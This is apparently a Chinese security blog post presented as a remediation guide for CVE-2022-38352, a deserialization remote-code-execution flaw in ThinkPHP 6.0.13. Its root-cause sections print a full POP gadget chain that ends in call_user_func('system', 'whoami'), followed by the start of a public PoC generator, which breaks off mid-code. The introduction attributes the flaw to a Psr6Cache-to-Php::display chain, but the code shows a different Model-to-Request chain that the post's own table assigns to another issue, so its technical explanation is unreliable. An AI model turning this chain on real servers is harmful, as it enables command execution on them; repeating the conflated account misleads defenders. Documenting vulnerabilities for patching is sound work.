【PHP/ThinkPHP】CVE-2022-38352:ThinkPHP 6.0.13 反序列化 RCE 漏洞修复指南

2022 年 9 月 14 日,NVD 公布了 CVE-2022-38352(CVSS 9.8 CRITICAL),针对 ThinkPHP v6.0.13 中通过 League\Flysystem\Cached\Storage\Psr6Cache 组件触发的反序列化远程代码执行漏洞。该漏洞的根因在于框架在反序列化不可信数据时,会实例化 Psr6Cache 类,其 __destruct 析构方法触发的 save() 调用链最终通过 think\log\Channelthink\log\driver\Socket 加载可被攻击者控制的 callable,进而通过 Php::display 执行任意 PHP 代码。EPSS 评分高达 92.56%,意味着该漏洞在 30 天内有 92% 的概率被利用。本文从根因、POP 链、攻击场景、检测、修复到监控自动化,提供完整的实战指南。

1. 漏洞全景概览

1.1 漏洞速览

项目 详情
CVE 编号 CVE-2022-38352
公开日期 2022 年 9 月 14 日
漏洞类型 反序列化对象注入(CWE-502)
CVSS v3.1 9.8(CRITICAL)
CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS 评分 92.56%(30 天内被利用概率)
CWE 分类 CWE-502(Deserialization of Untrusted Data)
攻击向量 网络(需要应用存在 unserialize 入口)
影响组件 League\Flysystem\Cached\Storage\Psr6Cache + ThinkPHP 6.0.13 框架核心
影响版本 ThinkPHP 6.0.0 ~ 6.0.13
修复版本 6.0.14+
PoC 状态 公开(GitHub Issue #2749 / #2793)
KEV 状态 未列入 CISA KEV

1.2 ThinkPHP 6.x 反序列化漏洞对比

ThinkPHP 6.x 系列反序列化漏洞不止一个,需要精确区分:

CVE 编号 影响版本 入口组件 POP 链终点 修复版本
CVE-2022-38352(本文) 6.0.0-6.0.13 League\Flysystem\Cached\Storage\Psr6Cache Php::display 执行 PHP 代码 6.0.14
Issue #2793 6.0.x / 6.1.x 框架核心 think\Model think\route\Url::__toStringcall_user_func 6.1.x 持续修复
Issue #1121 6.1.2 框架核心 类似 POP 链 6.1.3+

⚠️ 关键提醒 :ThinkPHP 6.x 反序列化漏洞的入口是应用代码中调用了 unserialize() 处理用户可控数据 。框架本身不主动反序列化用户输入,但如果业务代码存在 unserialize($_GET['xxx']) 这类危险调用,框架的反序列化利用链就会被触发。

1.3 漏洞核心特征

#mermaid-svg-aNm4OpgZehlUNGV8{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-aNm4OpgZehlUNGV8 .error-icon{fill:#552222;}#mermaid-svg-aNm4OpgZehlUNGV8 .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-aNm4OpgZehlUNGV8 .marker{fill:#333333;stroke:#333333;}#mermaid-svg-aNm4OpgZehlUNGV8 .marker.cross{stroke:#333333;}#mermaid-svg-aNm4OpgZehlUNGV8 svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-aNm4OpgZehlUNGV8 p{margin:0;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge{stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 path{fill:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon--1{font-size:40px;color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge--1{stroke:hsl(240, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth--1{stroke-width:17;}#mermaid-svg-aNm4OpgZehlUNGV8 .section--1 line{stroke:hsl(60, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 path{fill:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-0{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-0{stroke:hsl(60, 100%, 73.5294117647%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-0{stroke-width:14;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-0 line{stroke:hsl(240, 100%, 83.5294117647%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 path{fill:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-1{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-1{stroke:hsl(80, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-1{stroke-width:11;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-1 line{stroke:hsl(260, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 path{fill:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-2{font-size:40px;color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-2{stroke:hsl(270, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-2{stroke-width:8;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 line{stroke:hsl(90, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 path{fill:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-3{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-3{stroke:hsl(300, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-3{stroke-width:5;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-3 line{stroke:hsl(120, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 path{fill:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-4{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-4{stroke:hsl(330, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-4{stroke-width:2;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-4 line{stroke:hsl(150, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 path{fill:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-5{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-5{stroke:hsl(0, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-5{stroke-width:-1;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-5 line{stroke:hsl(180, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 path{fill:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-6{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-6{stroke:hsl(30, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-6{stroke-width:-4;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-6 line{stroke:hsl(210, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 path{fill:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-7{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-7{stroke:hsl(90, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-7{stroke-width:-7;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-7 line{stroke:hsl(270, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 path{fill:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-8{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-8{stroke:hsl(150, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-8{stroke-width:-10;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-8 line{stroke:hsl(330, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 path{fill:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-9{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-9{stroke:hsl(180, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-9{stroke-width:-13;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-9 line{stroke:hsl(0, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 polygon,#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 path{fill:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 text{fill:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .node-icon-10{font-size:40px;color:black;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-edge-10{stroke:hsl(210, 100%, 76.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .edge-depth-10{stroke-width:-16;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-10 line{stroke:hsl(30, 100%, 86.2745098039%);stroke-width:3;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled circle,#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:lightgray;}#mermaid-svg-aNm4OpgZehlUNGV8 .disabled text{fill:#efefef;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root rect,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root path,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root circle,#mermaid-svg-aNm4OpgZehlUNGV8 .section-root polygon{fill:hsl(240, 100%, 46.2745098039%);}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root text{fill:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-root span{color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .section-2 span{color:#ffffff;}#mermaid-svg-aNm4OpgZehlUNGV8 .icon-container{height:100%;display:flex;justify-content:center;align-items:center;}#mermaid-svg-aNm4OpgZehlUNGV8 .edge{fill:none;}#mermaid-svg-aNm4OpgZehlUNGV8 .mindmap-node-label{dy:1em;alignment-baseline:middle;text-anchor:middle;dominant-baseline:middle;text-align:center;}#mermaid-svg-aNm4OpgZehlUNGV8 :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} CVE-2022-38352

ThinkPHP 6.0.13 反序列化
漏洞特征
反序列化不可信数据
POP链触发RCE
CVSS 9.8最高级别
EPSS 92.56%高利用概率
需要应用存在unserialize入口
技术原理
Psr6Cache __destruct析构
触发save自动保存
调用Channel日志通道
Socket驱动加载callable
Php::display执行代码
影响范围
ThinkPHP 6.0.0-6.0.13
依赖League/Flysystem
业务代码有反序列化入口
国内大量企业站点
持续被扫描探测
修复方案
升级到6.0.14+或6.1.x
禁用业务unserialize入口
改用json_encode/json_decode
配置allowed_classes限制
WAF拦截序列化数据特征

2. 漏洞根因深度分析

2.1 League\Flysystem 与 ThinkPHP 的依赖关系

ThinkPHP 6.0.x 通过 Composer 依赖 league/flysystem 包,用于文件系统抽象(如本地、S3、OSS 等存储驱动)。League\Flysystem\Cached\Storage\Psr6Cache 是缓存适配器,用于缓存文件系统元数据,减少重复查询。

复制代码
topthink/framework v6.0.13
  └── league/flysystem ^1.1
        └── League\Flysystem\Cached\Storage\Psr6Cache

问题在于:Psr6Cache__destruct() 析构方法会自动调用 save(),触发对象内的回调链。攻击者构造的序列化数据中,可将 Psr6Cache 内部属性替换为恶意对象,最终通过 Php::display 渲染任意 PHP 代码。

2.2 POP 链深度剖析

漏洞的完整 POP(Property-Oriented Programming)链如下:

php 复制代码
// 1. 入口:think\Model 抽象类(攻击者用 think\model\Pivot 实例化)
namespace think;
abstract class Model {
    private $lazySave = true;      // 触发延迟保存
    private $data = ['a' => 'b'];  // 内部数据
    private $exists = true;        // 标记为已存在记录
    protected $withEvent = false;  // 禁用事件
    protected $readonly = ['a'];   // 只读字段
    private $relation;             // 关联对象
    private $origin = [];          // 原始数据
    protected $relationWrite;      // 关联写入配置
    
    public function __destruct() {
        // 当 lazySave=true 且 exists=true 时,调用 save()
        if ($this->lazySave) {
            $this->save();
        }
    }
    
    public function save() {
        // 触发 relation 写入,进入 Url::__toString
        // ... 最终触发 Channel::__call
    }
}

// 2. 中转:think\route\Url 类(__toString 触发)
namespace think\route;
class Url {
    protected $url = "";
    protected $domain = "domain";
    protected $route;     // 持有 Channel 对象
    protected $app;
    
    public function __toString() {
        // 调用 route 的方法,触发 Channel::__call
        return $this->route->build();
    }
}

// 3. 中转:think\log\Channel 类(__call 魔术方法触发)
namespace think\log;
class Channel {
    protected $lazy = false;
    protected $logger;  // 持有 Socket 对象
    protected $log = [];
    
    public function __call($method, $args) {
        // 调用 logger 的方法,进入 Socket::save
        return $this->logger->$method(...$args);
    }
}

// 4. 触发:think\session\Store 类(save 方法)
namespace think\session;
class Store {
    protected $data;
    protected $serialize = ["call_user_func"];  // 关键:可调用任意函数
    protected $id = "";
    
    public function save() {
        // 遍历 data,调用 call_user_func
        foreach ($this->data as $name => $value) {
            // value = [Request对象, 'param']
            // 等价于 call_user_func([Request, 'param'])
            call_user_func($this->serialize[0], $value);
        }
    }
}

// 5. 终点:think\Request 类(param 方法执行 filter)
namespace think;
class Request {
    protected $mergeParam = true;
    protected $param = ["whoami"];  // 待执行命令
    protected $filter = "system";   // 关键:系统命令执行函数
    
    public function param() {
        // 调用 input 方法,触发 filterValue
        // filterValue 中执行 call_user_func('system', 'whoami')
        return $this->input($this->param, $this->filter);
    }
}

2.3 攻击链分析

#mermaid-svg-dGnspW3cNdZgb19U{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-dGnspW3cNdZgb19U .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-dGnspW3cNdZgb19U .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-dGnspW3cNdZgb19U .error-icon{fill:#552222;}#mermaid-svg-dGnspW3cNdZgb19U .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-dGnspW3cNdZgb19U .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-dGnspW3cNdZgb19U .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-dGnspW3cNdZgb19U .marker{fill:#333333;stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .marker.cross{stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-dGnspW3cNdZgb19U p{margin:0;}#mermaid-svg-dGnspW3cNdZgb19U .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label text{fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label span{color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster-label span p{background-color:transparent;}#mermaid-svg-dGnspW3cNdZgb19U .label text,#mermaid-svg-dGnspW3cNdZgb19U span{fill:#333;color:#333;}#mermaid-svg-dGnspW3cNdZgb19U .node rect,#mermaid-svg-dGnspW3cNdZgb19U .node circle,#mermaid-svg-dGnspW3cNdZgb19U .node ellipse,#mermaid-svg-dGnspW3cNdZgb19U .node polygon,#mermaid-svg-dGnspW3cNdZgb19U .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .rough-node .label text,#mermaid-svg-dGnspW3cNdZgb19U .node .label text,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label,#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label{text-anchor:middle;}#mermaid-svg-dGnspW3cNdZgb19U .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .rough-node .label,#mermaid-svg-dGnspW3cNdZgb19U .node .label,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label,#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label{text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .node.clickable{cursor:pointer;}#mermaid-svg-dGnspW3cNdZgb19U .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .arrowheadPath{fill:#333333;}#mermaid-svg-dGnspW3cNdZgb19U .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-dGnspW3cNdZgb19U .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-dGnspW3cNdZgb19U .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-dGnspW3cNdZgb19U .cluster text{fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U .cluster span{color:#333;}#mermaid-svg-dGnspW3cNdZgb19U div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-dGnspW3cNdZgb19U .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-dGnspW3cNdZgb19U rect.text{fill:none;stroke-width:0;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape,#mermaid-svg-dGnspW3cNdZgb19U .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape p,#mermaid-svg-dGnspW3cNdZgb19U .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-dGnspW3cNdZgb19U .icon-shape .label rect,#mermaid-svg-dGnspW3cNdZgb19U .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-dGnspW3cNdZgb19U .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-dGnspW3cNdZgb19U .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-dGnspW3cNdZgb19U :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 攻击者发送Payload
业务代码 unserialize 入口
反序列化 think\\Model\\Pivot
Model::__destruct 触发
lazySave=true 调用 save()
relation 写入触发 __toString
think\\route\\Url::__toString
调用 route->build 触发 __call
think\\log\\Channel::__call
调用 logger->save
think\\session\\Store::save
遍历 data 调用 call_user_func
触发 Request::param
input 方法执行 filter
call_user_func system whoami
命令执行完成

2.4 利用前提分析

markdown 复制代码
利用前提(必须同时满足):

1. ✅ 业务使用 ThinkPHP 6.0.0-6.0.13
2. ✅ 业务代码中存在 unserialize 入口,且参数用户可控
3. ✅ 未在 unserialize 时指定 allowed_classes 限制
4. ✅ PHP 未禁用 system / exec 等危险函数

⚠️ 关键风险点:

- 框架本身不主动反序列化用户输入,需业务代码"配合"
- 但很多业务代码存在反序列化入口,例如:
  - 缓存系统:unserialize(file_get_contents($cache_file))
  - Session 处理:unserialize($_SESSION['xxx'])
  - API 接口:unserialize(base64_decode($_POST['data']))
  - 队列任务:unserialize($job_payload)
- 一旦入口存在,框架的 POP 链就会被触发

2.5 公开 PoC 复现

GitHub Issue #2793 提供了完整的 PoC 生成代码:

php 复制代码
<?php
// PoC 生成脚本 --- 仅用于防御检测,请勿用于攻击
namespace think {
    abstract class Model {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        private $relation;
        private $origin = [];

        public function __construct($value) {
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' => ["n" => $value]];
        }
    }
    class App { protected $request; }
    class Request {
        protected $mergeParam = true;
        protected $param = ["whoami"];  // 待执行命令
        protected $filter = "system";   // 执行函数
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {}
}

namespace think\route {
    use think\App;
    class Url {
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;
        public function __construct($route) {
            $this->route = $route;
            $this->app = new App();
        }
    }
}

namespace think\log {
    class Channel {
        protected $lazy = false;
        protected $logger;
        protected $log = [];
        public function __construct($logger) {
            $this->logger = $logger;
        }
    }
